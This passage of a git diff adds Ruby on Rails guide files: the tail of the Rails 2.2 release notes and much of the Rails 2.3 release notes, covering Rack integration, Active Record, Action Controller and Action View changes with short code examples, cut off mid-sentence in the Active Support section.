`:none` options. These options are inherited by nested resources. + +```ruby +map.resources :photos, :only => [:index, :show] +map.resources :products, :except => :destroy +``` + +* Lead Contributor: [Tom Stuart](http://experthuman.com/) + +### Other Action Controller Changes + +* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request. +* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`. +* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds +* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. +* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI). +* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type. +* Request forgery protection has been tightened up to apply to HTML-formatted content requests only. +* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`. + +Action View +----------- + +* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code. +* The included Prototype JavaScript library has been upgraded to version 1.6.0.3. +* `RJS#page.reload` to reload the browser's current location via JavaScript +* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions. + +Action Mailer +------------- + +Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`. + +* More information: + * [What's New in Edge Rails: Mailer Layouts](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts) + +Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed. + +Active Support +-------------- + +Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods. + +### Memoization + +Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications: + +```ruby +def full_name + @full_name ||= "#{first_name} #{last_name}" +end +``` + +Memoization lets you handle this task in a declarative fashion: + +```ruby +extend ActiveSupport::Memoizable + +def full_name + "#{first_name} #{last_name}" +end +memoize :full_name +``` + +Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off. + +* Lead Contributor: [Josh Peek](http://joshpeek.com/) +* More information: + * [What's New in Edge Rails: Easy Memoization](http://archives.ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization) + * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization) + +### each_with_object + +The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. + +```ruby +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'} +``` + +Lead Contributor: [Adam Keys](http://therealadam.com/) + +### Delegates With Prefixes + +If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example: + +```ruby +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => true +end +``` + +This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix: + +```ruby +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => :owner +end +``` + +This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`. + +Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck) + +### Other Active Support Changes + +* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes. +* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax. +* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons. +* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]` +* `Enumerable#many?` to encapsulate `collection.size > 1` +* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. +* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. +* The included TzInfo library has been upgraded to version 0.3.12. +* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` + +Railties +-------- + +In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism. + +### config.gems + +To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands: + +* `config.gem _gem_name_` in your `config/environment.rb` file +* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen) +* `rake gems:install` to install missing gems to the computer +* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems` +* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems` +* `rake gems:build` to build any missing native extensions +* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them + +You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line. + +* Lead Contributor: [Matt Jones](https://github.com/al2o3cr) +* More information: + * [What's New in Edge Rails: Gem Dependencies](http://archives.ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies) + * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](https://afreshcup.com/home/2008/10/25/rails-212-and-22rc1-update-your-rubygems) + * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128) + +### Other Railties Changes + +* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly. +* `script/plugin install <plugin> -r <revision>` now works with git-based as well as svn-based plugins. +* `script/console` now supports a `--debugger` option +* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source +* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations. +* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?` +* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. + +Deprecated +---------- + +A few pieces of older code are deprecated in this release: + +* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom` +* `render_component` is deprecated. There's a [render_components plugin](https://github.com/rails/render_component/tree/master) available if you need this functionality. +* Implicit local assignments when rendering partials has been deprecated. + + ```ruby + def partial_with_implicit_local_assignment + @customer = Customer.new("Marcel") + render :partial => "customer" + end + ``` + + Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now. + +* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement. +* `ActiveRecord::Base.allow_concurrency` no longer has any effect. +* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')` +* The `%s` and `%d` interpolation syntax for internationalization is deprecated. +* `String#chars` has been deprecated in favor of `String#mb_chars`. +* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead. +* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead. + +Credits +------- + +Release notes compiled by [Mike Gunderloy](http://afreshcup.com) diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md new file mode 100644 index 0000000000..ee9a499953 --- /dev/null +++ b/guides/source/2_3_release_notes.md @@ -0,0 +1,623 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 2.3 Release Notes +=============================== + +Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components. + +-------------------------------------------------------------------------------- + +Application Architecture +------------------------ + +There are two major changes in the architecture of Rails applications: complete integration of the [Rack](https://rack.github.io/) modular web server interface, and renewed support for Rails Engines. + +### Rack Integration + +Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test: + +* Sessions +* Cookies +* File uploads +* JSON/XML APIs + +Here's a summary of the rack-related changes: + +* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch. +* The FCGI handler goes through Rack. +* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`. +* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. +* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware. +* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form. +* `CgiRequest` and `CgiResponse` have been removed. +* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object). +* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected. +* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`. +* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`. +* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`. +* You can still change your session store with `ActionController::Base.session_store = :active_record_store`. +* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`. +* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`. +* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead. +* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache. +* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`. +* `ActionController::Request` inherits from `Rack::Request`. +* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`. +* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it. + +### Renewed Support for Rails Engines + +After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins. + +Documentation +------------- + +The [Ruby on Rails guides](https://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](https://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book. + +* More Information: [Rails Documentation Projects](https://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects) + +Ruby 1.9.1 Support +------------------ + +Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core. + +Active Record +------------- + +Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing. + +### Nested Attributes + +Active Record can now update the attributes on nested models directly, provided you tell it to do so: + +```ruby +class Book < ActiveRecord::Base + has_one :author + has_many :pages + + accepts_nested_attributes_for :author, :pages +end +``` + +Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later). + +You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option: + +```ruby +accepts_nested_attributes_for :author, + :reject_if => proc { |attributes| attributes['name'].blank? } +``` + +* Lead Contributor: [Eloy Duran](http://superalloy.nl/) +* More Information: [Nested Model Forms](https://weblog.rubyonrails.org/2009/1/26/nested-model-forms) + +### Nested Transactions + +Active Record now supports nested transactions, a much-requested feature. Now you can write code like this: + +```ruby +User.transaction do + User.create(:username => 'Admin') + User.transaction(:requires_new => true) do + User.create(:username => 'Regular') + raise ActiveRecord::Rollback + end +end + +User.find(:all) # => Returns only Admin +``` + +Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing. + +* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/) + +### Dynamic Scopes + +You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example: + +```ruby +Order.scoped_by_customer_id(12) +Order.scoped_by_customer_id(12).find(:all, + :conditions => "status = 'open'") +Order.scoped_by_customer_id(12).scoped_by_status("open") +``` + +There's nothing to define to use dynamic scopes: they just work. + +* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/) +* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://archives.ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods) + +### Default Scopes + +Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). + +* Lead Contributor: Paweł Kondzior +* More Information: [What's New in Edge Rails: Default Scoping](http://archives.ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping) + +### Batch Processing + +You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`: + +```ruby +Customer.find_in_batches(:conditions => {:active => true}) do |customer_group| + customer_group.each { |customer| customer.update_account_balance! } +end +``` + +You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch. + +The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default): + +```ruby +Customer.find_each do |customer| + customer.update_account_balance! +end +``` + +Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop. + +* More Information (at that point the convenience method was called just `each`): + * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/) + * [What's New in Edge Rails: Batched Find](http://archives.ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find) + +### Multiple Conditions for Callbacks + +When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array: + +```ruby +before_save :update_credit_rating, :if => :active, + :unless => [:admin, :cash_only] +``` +* Lead Contributor: L. Caviola + +### Find with having + +Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: + +```ruby +developers = Developer.find(:all, :group => "salary", + :having => "sum(salary) > 10000", :select => "salary") +``` + +* Lead Contributor: [Emilio Tagua](https://github.com/miloops) + +### Reconnecting MySQL Connections + +MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change. + +* Lead Contributor: [Dov Murik](http://twitter.com/dubek) +* More information: + * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.6/en/auto-reconnect.html) + * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4) + +### Other Active Record Changes + +* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases. +* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record. +* A bug in quoting table names in some `has_many :through` associations was fixed. +* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)` +* Better error messages on failed `find_by_attribute!` calls. +* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option. +* A bug in canceling callbacks from `before_update` or `before_create` was fixed. +* Rake tasks for testing databases via JDBC have been added. +* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied). +* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`. +* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`. + +Action Controller +----------------- + +Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release. + +### Unified Rendering + +`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render: + +```ruby +render :file => '/tmp/random_file.erb' +render :template => 'other_controller/action' +render :action => 'show' +``` + +Now in Rails 2.3, you can just supply what you want to render: + +```ruby +render '/tmp/random_file.erb' +render 'other_controller/action' +render 'show' +render :show +``` +Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option. + +### Application Controller Renamed + +If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be `application_controller.rb` in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process. + +* More Information: + * [The Death of Application.rb](https://afreshcup.com/home/2008/11/17/rails-2x-the-death-of-applicationrb) + * [What's New in Edge Rails: Application.rb Duality is no More](http://archives.ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more) + +### HTTP Digest Authentication Support + +Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials): + +```ruby +class PostsController < ApplicationController + Users = {"dhh" => "secret"} + before_filter :authenticate + + def secret + render :text => "Password Required!" + end + + private + def authenticate + realm = "Application" + authenticate_or_request_with_http_digest(realm) do |name| + Users[name] + end + end +end +``` + +* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/) +* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://archives.ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication) + +### More Efficient Routing + +There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches. + +* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/) + +### Rack-based Lazy-loaded Sessions + +A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load. + +### MIME Type Handling Changes + +There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms: + +```ruby +if content_type && Mime::JS =~ content_type + # do something cool +end + +Mime::JS =~ "text/javascript" => true +Mime::JS =~ "application/javascript" => true +``` + +The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly. + +* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons) + +### Optimization of `respond_to` + +In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup. + +### Improved Caching Performance + +Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods. + +* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/) + +### Localized Views + +Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project. + +In addition, you can use the same scheme to localize the rescue files in the public directory: `public/500.da.html` or `public/404.en.html` work, for example. + +### Partial Scoping for Translations + +A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before. + +### Other Action Controller Changes + +* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`. +* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely. +* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`. +* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. +* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`. +* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources. +* The bundled memcached client has been updated to version 1.6.4.99. +* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching. +* The `:requirements` option now works properly with additional RESTful member routes. +* Shallow routes now properly respect namespaces. +* `polymorphic_url` does a better job of handling objects with irregular plural names. + +Action View +----------- + +Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things. + +### Nested Object Forms + +Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders + + accepts_nested_attributes_for :orders, :allow_destroy => true +end +``` + +You can write this view in Rails 2.3: + +```html+erb +<% form_for @customer do |customer_form| %> + <div> + <%= customer_form.label :name, 'Customer Name:' %> + <%= customer_form.text_field :name %> + </div> + + <!-- Here we call fields_for on the customer_form builder instance. + The block is called for each member of the orders collection. --> + <% customer_form.fields_for :orders do |order_form| %> + <p> + <div> + <%= order_form.label :number, 'Order Number:' %> + <%= order_form.text_field :number %> + </div> + + <!-- The allow_destroy option in the model enables deletion of + child records. --> + <% unless order_form.object.new_record? %> + <div> + <%= order_form.label :_delete, 'Remove:' %> + <%= order_form.check_box :_delete %> + </div> + <% end %> + </p> + <% end %> + + <%= customer_form.submit %> +<% end %> +``` + +* Lead Contributor: [Eloy Duran](http://superalloy.nl/) +* More Information: + * [Nested Model Forms](https://weblog.rubyonrails.org/2009/1/26/nested-model-forms) + * [complex-form-examples](https://github.com/alloy/complex-form-examples) + * [What's New in Edge Rails: Nested Object Forms](http://archives.ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes) + +### Smart Rendering of Partials + +The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming): + +```ruby +# Equivalent of render :partial => 'articles/_article', +# :object => @article +render @article + +# Equivalent of render :partial => 'articles/_article', +# :collection => @articles +render @articles +``` + +* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://archives.ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance) + +### Prompts for Date Select Helpers + +In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt: + +```ruby +select_datetime(DateTime.now, :prompt => true) + +select_datetime(DateTime.now, :prompt => "Choose date and time") + +select_datetime(DateTime.now, :prompt => + {:day => 'Choose day', :month => 'Choose month', + :year => 'Choose year', :hour => 'Choose hour', + :minute => 'Choose minute'}) +``` + +* Lead Contributor: [Sam Oliver](http://samoliver.com/) + +### AssetTag Timestamp Caching + +You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients. + +### Asset Hosts as Objects + +Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting. + +* More Information: [asset-hosting-with-minimum-ssl](https://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master) + +### grouped_options_for_select Helper Method + +Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example: + +```ruby +grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], + "Cowboy Hat", "Choose a product...") +``` + +returns + +```ruby +<option value="">Choose a product...</option> +<optgroup label="Hats"> + <option value="Baseball Cap">Baseball Cap</option> + <option selected="selected" value="Cowboy Hat">Cowboy Hat</option> +</optgroup> +``` + +### Disabled Option Tags for Form Select Helpers + +The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags: + +```ruby +select(:post, :category, Post::CATEGORIES, :disabled => 'private') +``` + +returns + +```html +<select name="post[category]"> +<option>story</option> +<option>joke</option> +<option>poem</option> +<option disabled="disabled">private</option> +</select> +``` + +You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled: + +```ruby +options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?}) +``` + +* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/) +* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](https://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections) + +### A Note About Template Loading + +Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server. + +In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file: + +```ruby +config.action_view.cache_template_loading = true +``` + +This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development. + +### Other Action View Changes + +* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs. +* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links. +* The `autolink` helper has been refactored to make it a bit less messy and more intuitive. +* `current_page?` now works properly even when there are multiple query parameters in the URL. + +Active Support +-------------- + +Active Support has a few interesting changes, including the introduction of `Object#try`. + +### Object#try + +A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil. + +* More Information: [try()](http://ozmm.org/posts/try.html) + +### Object#tap Backport + +`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well. + +### Swappable Parsers for XMLmini + +The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or 